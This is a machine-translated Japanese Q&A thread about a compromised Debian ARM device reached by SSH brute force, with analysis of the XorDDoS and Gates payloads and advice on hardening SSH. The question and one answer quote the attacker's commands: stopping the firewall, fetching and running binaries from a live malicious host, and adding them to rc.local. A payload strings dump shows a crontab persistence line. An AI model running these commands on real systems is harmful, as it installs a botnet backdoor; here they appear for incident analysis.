linux – ハッキングされたのかな?

linux networking trojan

コンシューマー製品を開発しているのですが、インターネットに接続されているはずなので、予想通りインターネットに接続されているので、きちんと開発できるようになっています

1~2時間ほど留守にして、事務所に戻ってくると、ターミナルに変なコマンドが書かれているのに気がついた

auth.logというLinuxのログファイルを見てみると、以下のような行を見ることができます(他にもたくさんの行がありますが)

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IPアドレス40.127.205.162マイクロソフトが所有していることが判明した

留守中に使っていたコマンドの束を紹介します

  355  service iptables stop
356  cd /tmp
357  wget http://222.186.30.209:65534/yjz1
358  chmod 0755 /tmp/yjz1
359  nohup /tmp/yjz1 > /dev/null 2>&1 &
360  chmod 777 yjz1
361  ./yjz1
362  chmod 0755 /tmp/yjz1
363  nohup /tmp/yjz1 > /dev/null 2>&1 &
364  chmod 0777 yjz1
365  chmod u+x yjz1
366  ./yjz1 &
367  chmod u+x yjz1
368  ./yjz1 &
369  wget http://222.186.30.209:65534/yjz
370  chmod 0755 /tmp/yjz
371  nohup /tmp/yjz > /dev/null 2>&1 &
372  chmod 777 yjz
373  ./yjz
374  chmod 0755 /tmp/yjz
375  nohup /tmp/yjz > /dev/null 2>&1 &
376  chmod u+x yjz
377  ./yjz &
378  chmod u+x yjz
379  ./yjz &
380  cd /tmp
381  echo "cd  /tmp/">>/etc/rc.local
382  service iptables stop
383  cd /tmp
384  wget http://222.186.30.209:65534/yjz1
385  chmod 0755 /tmp/yjz1
386  nohup /tmp/yjz1 > /dev/null 2>&1 &
387  chmod 777 yjz1
388  ./yjz1
389  chmod 0755 /tmp/yjz1
390  nohup /tmp/yjz1 > /dev/null 2>&1 &
391  chmod u+x yjz1
392  ./yjz1 &
393  chmod 0777 yjz1
394  ./yjz1 &
395  echo "cd  /tmp/">>/etc/rc.local
396  service iptables stop
397  wget http://222.186.30.209:65534/yjz1
398  chmod 0755 /root/yjz1
399  nohup /root/yjz1 > /dev/null 2>&1 &
400  chmod 777 yjz1
401  ./yjz1
402  chmod 0755 /root/yjz1
403  nohup /root/yjz1 > /dev/null 2>&1 &
404  chmod u+x yjz1
405  ./yjz1 &
406  chmod 0777 yjz1
407  ./yjz1 &
408  echo "cd  /root/">>/etc/rc.local
409  cd /tmp
410  service iptables stop
411  wget http://222.186.30.209:65534/yjz1
412  chmod 0755 /tmp/yjz1
413  nohup /tmp/yjz1 > /dev/null 2>&1 &
414  chmod 777 yjz1
415  ./yjz1 &
416  cd /etc
417  echo "cd /root/">>/etc/rc.local
418  echo "./yjz1&">>/etc/rc.local
419  echo "./yjz1&">>/etc/rc.local
420  echo "/etc/init.d/iptables stop">>/etc/rc.local
421  cd /tmp
422  service iptables stop
423  wget http://222.186.30.209:65534/yjz1
424  chmod 0755 /tmp/yjz1
425  nohup /tmp/yjz1 > /dev/null 2>&1 &
426  chmod 777 yjz1
427  ./yjz1 &
428  cd /etc
429  echo "cd /root/">>/etc/rc.local
430  echo "./yjz1&">>/etc/rc.local
431  echo "./yjz1&">>/etc/rc.local
432  echo "/etc/init.d/iptables stop">>/etc/rc.local
433  cd /tmp
434  service iptables stop
435  wget http://222.186.30.209:65534/yjz1
436  chmod 0755 /tmp/yjz1
437  nohup /tmp/yjz1 > /dev/null 2>&1 &
438  chmod 777 yjz1
439  ./yjz1 &
440  cd /etc
441  echo "cd /root/">>/etc/rc.local
442  echo "./yjz1&">>/etc/rc.local
443  echo "./yjz1&">>/etc/rc.local
444  echo "/etc/init.d/iptables stop">>/etc/rc.local
445  service iptables stop
446  wget http://222.186.30.209:65534/yjz1
447  chmod 0755 /root/yjz1
448  nohup /root/yjz1 > /dev/null 2>&1 &
449  chmod 777 yjz1
450  ./yjz1
451  chmod 0755 /root/yjz1
452  nohup /root/yjz1 > /dev/null 2>&1 &
453  chmod 0777 yjz1
454  chmod u+x yjz1
455  ./yjz1 &
456  chmod u+x yjz1
457  ./yjz1 &

And more:

  481  service iptables stop
482  wget http://222.186.30.209:65534/yjz1
483  chmod 0755 /root/yjz1
484  nohup /root/yjz1 > /dev/null 2>&1 &
485  chmod 777 yjz1
486  ./yjz1
487  chmod 0755 /root/yjz1
488  nohup /root/yjz1 > /dev/null 2>&1 &
489  chmod 0777 yjz1
490  chmod u+x yjz1
491  ./yjz1 &
492  chmod u+x yjz1
493  ./yjz1 &
494  cd /tmp
495  service iptables stop
496  wget http://175.102.133.55:2/yjz
497  ./yd_cd/make
498  service iptables stop
499  service iptables stop
500  wget http://222.186.30.209:65534/yjz1

全く意識していませんでした。どうすればきちんと確保できるのでしょうか?

完全なauth.logファイルを投稿したいと思います。どうすればいいのでしょうか?

また、ダウンロードされたファイルyjz1はLinuxのトロイの木馬のようで、http://anti-hacker-alliance.com/index.php?ip=40.127.205.162によると、これらはすべてある種のハッカーグループによって行われているようです

マイクロソフトに電話して相談した方がいいのでしょうか?どうすればいいのでしょうか?

  499  vaid  2016-02-01


ベストアンサー

EDIT 2:

この投稿が非常に注目を集めている理由は 1 つの良い理由があります: 全体を記録することができたあなたの PC 上の侵入者のライブ セッション。これは、私たちが彼の行動の結果の発見に対処し、それらを修復しようとする私たちの日常の経験とは非常に異なっています。ここでは、仕事中の彼を見て、バックドアの確立に問題を抱えているのを見て、彼のステップを辿り、熱中して仕事をします(おそらく、上で示唆されているように、あなたの机に座っていたからでしょうか、あるいは、おそらく、そして私の意見では、より可能性が高いのは、彼がシステム上でマルウェアを実行させることができなかったからでしょう、以下を読んでください)、そして、完全に自己完結型の制御手段を展開しようとします。これは、セキュリティ研究者がハニートラップで毎日目撃していることです。私にとっては、これは非常にまれなチャンスであり、いくつかの娯楽の源である


あなたは間違いなくハッキングされています。この証拠は、あなたが表示した auth.log ファイルのスニペットからは得られません。二行目には Failed password と書かれていますが、三行目には pre-auth の切断が報告されていることに気づくでしょう

証拠は、攻撃者があなたのシステムにダウンロードした2つのファイルhttp://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1の内容から得られます

サイトは現在誰でもダウンロードできるようになっています。私は最初にfileを実行してみましたが、これは表示されました

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

strings コマンドを使って内容を調べてみると、疑わしいものがたくさんありました (さまざまなよく知られた攻撃への言及、代用されるコマンドへの言及、新しいサービスをセットアップするために明らかに使われているスクリプトなど)

次に、両方のファイルの MD5 ハッシュを生成し、それらがマルウェアの既知のエージェントであるかどうかを確認するために、Cymru のハッシュデータベースに送りました。yjzは知られていませんが、yjz1は知られており、Cymruはアンチウイルスソフトウェアで検出される確率を58%と報告しています。また、このファイルが最後に見られたのが3日ほど前であることから、かなり最近のものであることも報告されています

clamscan (clamav パッケージの一部) を、取得した 2 つのファイルで実行してみました

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

を使用しているので、標準的な Linux ソフトウェアがそれを識別できることを確信しています

どうすればいいの?

どちらかというと新しいシステムですが、例えば、XorDdosに関する2015年1月の記事を参照してください。だから、ほとんどのフリーのパッケージはそれを取り除くことができるはずです。試してみてください。clamav, rkhunter, chkrootkit.私はグーグルで調べてみましたが、彼らはそれを発見することができると主張しているのを見ました。前任者の仕事をチェックするためにそれらを使ってくださいが、これらの3つのプログラムを実行した後は、準備ができているはずです

より大きな質問に関しては、what should you do to prevent future infections、ジャーニーマンの答えは良い第一歩です。ただ、それは現在進行中の闘争であり、私たち(私を含む!)の誰もが知らないうちに失っているかもしれないものであることを心に留めておいてください

EDIT:

Viktor Toth の (間接的な) プロンプトで、私はいくつかのコメントを追加したいと思います。侵入者がいくつかの困難に遭遇したのは確かに事実です。2つの異なるハッキングツールをダウンロードし、それらの許可を何度も変更し、何度も再起動し、ファイアウォールを無効にしようと何度も試みました。彼はハッキングツールが感染したPCの1台に向けて通信チャネルを開くことを期待しており(後述)、コントロールGUI上にこの新しいチャネルが表示されない場合、ハッキングツールがファイアウォールによってブロックされているのではないかと心配し、インストール手順を繰り返します。私はViktor Toth氏の操作のこの特定の段階では期待された成果が得られていないように見えることに同意しますが、あなたのPCに与えられたダメージの程度を過小評価しないように強く勧めたいと思います

ここでは、strings yjz1の部分的な出力を提供します

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

これは、サービスを改ざんした証拠を提供します(/etc/init.d/etc/rc.dで)、crontabmysqlの履歴ファイル、procにあるいくつかのファイルはbashへのリンクです(これはあなたのシェルのカスタムメイドの詐欺バージョンが仕込まれていることを示唆しています)。そして、プログラムは HTTP リクエストを生成します (中国語圏のサイトへ

 Accept-Language: zh-cn

これは上述の David Schwartz のコメントに実質を与えるものです) が、さらに大混乱を引き起こす可能性があります。リクエストでは、バイナリ(Content-Type: application/x-www-form-urlencoded)は攻撃されたPCにダウンロードされ(GET)、制御しているマシンにアップロードされます(POST)。攻撃された PC に何がダウンロードされるのかは確認できませんでしたが、yjzyjz1 のサイズが小さいことから (1.1MB と 600kB)、ルートキットの隠蔽に必要なファイルのほとんど、つまり ls, netstat, ps, ifconfig, … の変更されたバージョンがこの方法でダウンロードされるのではないかと推測することができます。そして、このダウンロードを実行させようとする攻撃者の熱のこもった試みもこれで説明がつきます

上記がすべての可能性を網羅しているという確信はありません: トランスクリプトの一部(457行目から481行目の間)が欠けているのは確かですし、ログアウトも見当たりません

cd /tmp;  ./yd_cd/make

もしそうなら、それは攻撃者が (最終的に?) 自分の実行可能ファイルの問題点を理解し、それを修正しようとしていることを意味します。実際、攻撃者がハックされたマシンにダウンロードした (そして私は 64bit の Debian VM にダウンロードした) マルウェアの 2 つのバージョンは x86 という不適当なアーキテクチャ向けで、ハックされて侵入した PC の名前だけで、彼がアームアーキテクチャを扱っていたことがわかります]

なぜこの編集を書いたかというと、プロの楽器を使ってシステムを梳くか、あるいはスクラッチから再インストールするか、できる限り強く勧めたいからです

ところで、これが誰かの役に立つことを証明するために、これはyjzが接続しようとする331個のIPアドレスのリストです。このリストは非常に大きく(おそらく、さらに大きくなる運命にあります)、これがmysqlを改ざんした理由だと思います。他のバックドアによって提供されたリストは同一で、これが、このような重要な情報を公開した理由だと思います(攻撃者はカーネル形式で保存する努力をしたくなかったので、リスト全体をクリアテキストファイルに入れたのだと思いますが、これはおそらく、どのOSのバックドアでも、彼のすべてのバックドアによって読み込まれます)

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

以下のコード

 #!/bin/bash
echo 0 > out
while read i; do
whois $i | grep -m 1 -i country >> out
done < filename
cat out | grep -i cn | wc -l

上のリストを見てみると、合計331個のアドレスのうち302個が中国本土にあり、残りのアドレスは香港、モンゴル、台湾にあることがわかります。これは、これはほとんどが中国のボット・リングであるというDavid Schwartz氏の主張をさらに裏付けるものです

EDIT 3

(OP の作者である @vaid のリクエストに応じて、以下のコメントを読んでください)、基本的な Linux システムのセキュリティを強化する方法についてのコメントを追加します (多くのサービスを提供するシステムでは、これははるかに複雑なトピックです)。vaid は、彼が以下のことをしたと述べています

  1. 再インストールしてください

  2. ルートパスワードを、小文字と大文字、文字と数字が混在する16文字の長さのパスワードに変更しました

  3. ユーザ名を6文字混合の長さのユーザ名に変更し、rootで使用しているパスワードと同じパスワードを適用しました

  4. SSHポートを5000以上に変更しました

  5. SSHルートログインをオフにしました

これは問題ありません(多くの便利なプログラムが10,000以下のポートを使用しているので、10,000以上のポートを使用していることを除いて)。しかし、パスワードの代わりに暗号鍵を ssh ログインに使用する必要性を十分に強調することはできません。個人的な例を挙げてみましょう。私のVPSの一つでは、sshのポートを変更するかどうか迷っていました。私は一日に何百回も侵入を試みましたが、どれも成功しませんでした。誰も成功しなかったことを毎日確認するのに疲れて、結局ポートを 10,000 以上のものに変更したところ、侵入の試みはゼロになりました。注意してください、それはハッカーが愚かだということではありません(彼らはそうではありません!)、彼らは単に簡単な獲物を追い詰める

署名アルゴリズムとして RSA を使用して暗号鍵を有効化するのは簡単です

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

あとは、ファイル id_rsa を接続元のマシンにコピーして (ディレクトリ .ssh, chmod‘ed to 700)、コマンドを実行するだけです

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

これで動作することが確認できたら、サーバ(=接続先のマシン)上でファイル/etc/ssh/sshd_configを編集し、行を変更します

#PasswordAuthentication yes

to

PasswordAuthentication no

で、sshサービスを再起動します(ディストロによってはservice ssh restartsystemctl restart sshのようなもの)

これは多くのことに耐えられるでしょう。実際、現在のところ、openssh v2の現行バージョンや、openssh v2で採用されているRSAに対する悪用は知られていません

最後に、本当にマシンをボルトダウンするためには、以下のようにファイアウォール(netfilter/iptables)を設定する必要があります

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

これは、1) LAN と WAN の両方からの ssh 接続を許可し、2) リクエストの元になった入力 (例えば Web ページをロードしたときなど) をすべて許可し、3) 入力上の他のすべてのものを削除し、4) 出力上のすべてのものを許可し、5-6) ループバックインターフェース上のすべてのものを許可する、というものです

ニーズが高まり、より多くのポートを開く必要が出てきたら、リストの一番上に次のようなルールを追加することで、そうすることができます

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

を使用して、例えば他の人があなたのウェブブラウザにアクセスできるようにします

494  MariusMatutiae  2016-02-01


インターネットへようこそ – どのようなオープンな SSH サーバであっても、それはおそらく調査され、無慈悲にも強要され、様々な侮辱を受けることになるでしょう

まず、製品のストレージを完全に消去する必要があります。フォレンジックのためにそれを渡したい場合はそれをイメージしてください、しかし、それ上のLinuxのインストールは現在疑わしいです

推測の域を出ないが

  1. ブルートフォースされたり、一般的なパスワードを使ったり。曖昧さによるセキュリティですが、辞書的なパスワードを使ったり、SSHにオープンなrootアカウントを使ったりするのは避けたいところです。root の SSH アクセスを無効にするか、少なくとも名前を変更して両方を推測させる必要があるようにしましょう。root で SSH するのは、とにかくひどいセキュリティ対策です。どうしても root でなければならない場合は、別のユーザでログインして su か sudo で切り替えてください

  2. 製品によっては、何らかの方法で SSH アクセスをロックダウンしたいと思うかもしれません。完全なロックダウンは良いアイデアのように聞こえますし、ユーザが必要に応じてオープンにすることができます。余裕があるかどうかにもよりますが、自分のサブネット内の IP アドレスだけを許可するとか、 ログイン制限システムのようなものを検討してみてください。最終的な製品に必要ない場合は、それがオフになっていることを確認してください

  3. 標準ではないポートを使用してください。またもや不明瞭さによるセキュリティですが、攻撃者はあなたのポートを標的にする必要があることを意味します

  4. デフォルトのパスワードは絶対に使用しないでください。私が見た中で最も良い方法は、特定のデバイス用のパスワードをランダムに生成し、製品と一緒に出荷することです。最良の方法はキーベースの認証ですが、マスマーケット製品ではどのようにアプローチするのか見当もつきません

142  Journeyman Geek  2016-02-01


間違いなくハッキングされてる誰かが root 権限を得て あなたのシステムに トロイの木馬をダウンロードしようとしたようですMariusMatutiaeはペイロードの分析を提供しました

2つの疑問が生じます: a) 攻撃者は成功したのでしょうか?そして b) それに対して何ができるか?

最初の質問の答えは「いいえ」かもしれません。攻撃者がペイロードを繰り返しダウンロードして実行しようとしていることに注目してください。私は何か (SELinux、ひょっとして?) が彼の邪魔をしているのではないかと疑っています

しかしながら: 攻撃者はあなたの/etc/rc.d/rc.localファイルも改変しており、システムを再起動したときにペイロードが有効になることを期待しています。まだシステムを再起動していない場合は、/etc/rc.d/rc.localファイルの改変を削除するまで再起動しないでください。すでに再起動している場合は・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・頑張れ

あなたがそれについて何ができるかについては一番安全なのは、システムを消去してゼロから再インストールすることです。しかし、これは常にオプションではないかもしれません。安全性が著しく低いのは、何が起こったのかを正確に分析し、可能であれば、その痕跡をすべて消去することです。繰り返しになりますが、まだシステムを再起動していない場合、/etc/rc.d/rc.localをクリーンアップし、攻撃者によってダウンロードされたものを削除し、最後にパスワードを変更するだけでよいのかもしれません

しかし、攻撃者がすでにペイロードを実行できていた場合は、検出が困難な他の変更がシステムに加えられている可能性があります。そのため、完全なワイプが唯一の安全な(そして推奨される)オプションである理由です。ご指摘のように、問題の機器はテスト/開発ターゲットである可能性がありますので、ワイプすることは他のケースではそれほど苦痛ではないかもしれません

更新: 回復の可能性について書いたことにもかかわらず、このペイロードによって引き起こされる潜在的なダメージと、それがターゲットシステムを危険にさらした可能性のある範囲を過小評価しないように、MariusMatutiae の非常に強い勧告に反論したいと思います

35  Viktor Toth  2016-02-01


私のsshd-honeypotでもこのような攻撃が見られました。そのURLからの最初のダウンロードは2016-01-29 10:25:33から始まっており、現在も攻撃は続いています。攻撃は/から来ています

103.30.4.212
111.68.6.170
118.193.228.169

これらの攻撃者からの入力は

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 > /dev/null 2>&amp1 &
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp

だから、後々のためにバックドアを設置する以外の活動はしない

19  Gunther Nitzsche  2016-02-02


ここでは誰もがしっかりとしたアドバイスをしてくれていますが、はっきりさせるためには、あなたの優先順位は、バックアップを取って、そのシステムから本当に必要なものを確認し、安全なメディアから新しいインストールでそれを消去することです

新しくインストールしたホストをインターネットに接続する前に、これらのアイデアを実行してください

  1. 新しい非 root ユーザーを作成し、そのユーザーでログインします。root でログインする必要はなく、必要に応じて sudo (substitute user do) を実行するだけです

  2. SE Linuxをインストール、強制的なアクセス制御を有効にする設定https://wiki.debian.org/SELinux/Setup

  3. オフィスや自宅とインターネットの間にハードウェアファイアウォールを設置することを検討してみてください。私はコミュニティサポートが充実しているMicroTikを使用しています。http://routerboard.com/

あなたが有給の仕事を完了するためのタイムライン上にあると仮定して、少なくとも#1を行います。#3は早くて安いですが、郵送されてくる荷物を待つか、車でお店に行くかのどちらかになります

13  pyn  2016-02-01


  1. あなたのホスト名は debian-armhf ですか?それともデフォルト設定のデフォルトインストールを使っていますか?それは問題ありませんが、ホストが直接インターネットにさらされるのを許すべきではありません (つまり、少なくともモデムで保護されていない)

  2. 本当のトラブルは222.186.30.209(http://anti-hacker-alliance.com/index.php?ip=222.186.30.209参照)から来ているようです。マイクロソフトのIPを見てもあまり気にしない方がいい。IPは多かれ少なかれ、わりと簡単に偽造/なりすましができます

  3. インターネットに接続する通常の方法は、パブリックIP(例:8.8.8.8)から既知のポートのリストをローカル(例:192.168.1.12)に転送することです

    • 例えば、8.8.8.8(パブリック)から192.168.1.12(ローカル)にすべての着信接続を転送しないようにします

    • ポート 22 と 25 (それぞれ ssh と受信メール) のみを転送します。もちろん、最新の ssh と smtp パッケージ/ライブラリも持っている必要があります

  4. 次に何をしますか?ホストを切断し、シェルスクリプトでハードコーディングされたパスワード(恥を知れ!)を/etc/shadowにある(組織に関連するすべてのコンピュータの)すべてのパスワードを変更する

12  Archemar  2016-02-01


他の人が言っているように、あなたのサーバーのセキュリティが侵害されているのは明らかです。最も安全なのは、このマシンを消去して再インストールすることです

ご質問の2番目の部分にお答えすると、公開鍵認証が使えないのであれば、少なくともFail2Banを設定して、標準ではないポートでSSHを実行することをお勧めします。私もrootのSSHアクセスを無効にしています

Fail2Banは、一定回数のログインに失敗したIPアドレスを禁止することで、ブルートフォース攻撃の軽減に役立ちます

sshd を標準ではないポートでリスンするように設定することで、少なくとも SSH サーバの可視性を少しだけ下げることができます。また、ルートログオンを無効にすることで、攻撃プロファイルを少し減らすことができます。/etc/sshd_config

PermitRootLogin no
Port xxxxx

root ログインを無効にしている場合、接続したら su で root に切り替えるか、(できれば) sudo を使って特権コマンドを実行する必要があります

10  Nate H  2016-02-02


SSHサーバは常にインターネット上で 攻撃を受けていますあなたがやっていることをいくつか

  1. インターネットにアクセスできるマシンのために、非常に安全なランダムパスワードを使用していることを確認してください。私は16文字以上の完全にランダムなような意味です。パスワードマネージャーを使って、暗記する必要がないようにしましょう。パスワードを暗記できるのであれば、それはあまりにも簡単です

  2. SSH を必要としない場合は、SSH をオフにしてください。SSH が必要だが公開されている必要がない場合は、標準ではない高いポート番号で実行してください。これを行うことで、ハッキングの試みを劇的に減らすことができます。はい、専用のハッカーはポートスキャンを行うことができますが、自動化されたボットはそれを見つけることはできません

authログのスニペットは失敗したことを示しています。しかし、さらに調べれば、ログインが成功していることは間違いありません。単純なパスワードを使用していれば、ボットが侵入するのは簡単です

このマシンをネットワークから分離する必要があります。慎重に必要なものを取り出して拭いてくれ

9  user1751825  2016-02-01


前向きのLinux/Unixサーバを設定した後、誰でも/誰もが最初にすべきことは、rootを直ちに無効にすることです

あなたのシステムは危険にさらされています。実行中の履歴ログがあるので、ある程度は見てもいいかもしれません。しかし、正直に言うと、詳細を解剖することは少し気難しいし、あなたのサーバーの安全性を確保するのには役立ちません。ボットネットが産み出したマルウェアがLinuxシステムに感染したときに起こるナンセンスなことを示しています。@MariusMatutiaeによって提供された回答は素晴らしくよく考え抜かれており、マルウェア/ボットネットの濡れた夢であるrootアクセスを介してハッキングされたと繰り返す他の人がいます

rootを無効にする方法についてはいくつか説明がありますが、個人的な経験から申し上げます。これは、最初にサーバをセットアップしたときに行うべきことです

  1. sudo の権限を持つ新しいユーザを作成する。Ubuntu や他の種類の Debian システムを使っている場合は sudo adduser cooldude のようなコマンドを使って、cooldude のような新しい名前の新しいユーザを作成してください。次に、sudo ファイルをこの sudo nano /etc/sudoers のようなコマンドを使って手動で編集し、root ALL=(ALL:ALL) ALL を読むべき同等の行の下に cooldude ALL=(ALL:ALL) ALL のような行を追加してください。これが終わったら、cooldudeとしてログインし、sudoコマンドをsudo wのようなコマンドでテストして、sudo権限が機能するかどうかを確認してください。パスワードの入力を求められるかもしれません。うまくいきましたか?問題ありません!次のステップに進みましょう
  2. rootのアカウントをロックします。さて、cooldudesudoの権限を持つようになったので、cooldudeとしてログインし、このコマンドを実行してルートアカウントsudo passwd -l rootをロックしてください。もし何らかの方法で root の SSH 鍵ペアを作成している場合は、/root/.ssh/authorized_keys を開いて鍵を削除してください。あるいは、authorized_keys_OFFのファイル名をこのように変更して、sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFでSSH鍵を無効にします。私は後者の方がいいと思います。 なぜなら、パスワードを使わないログインが必要な場合には、ファイルを元の名前に戻せば問題ないからです

FWIW、私は長年(数十年?)に渡って何十台ものLinuxサーバを管理してきましたが、rootを無効にしてsudoの権限を持つ新しいユーザを設定するだけで、どんなLinuxシステムでもセキュリティを確保するための最もシンプルで基本的な方法であることを経験から知っています。一旦 root を無効にしてしまえば、SSH 経由でのいかなるタイプの危殆化にも対処したことがありません。また、auth.log を使ってログインしようとする試みを見るかもしれませんが、それは無意味なものです; root が無効化されていれば、それらの試みは何の足しにもなりません。root が無効化されている場合、それらの試みは何の足しにもなりません

7  Giacomo1968  2016-02-07


タイトルとURLをコピーしました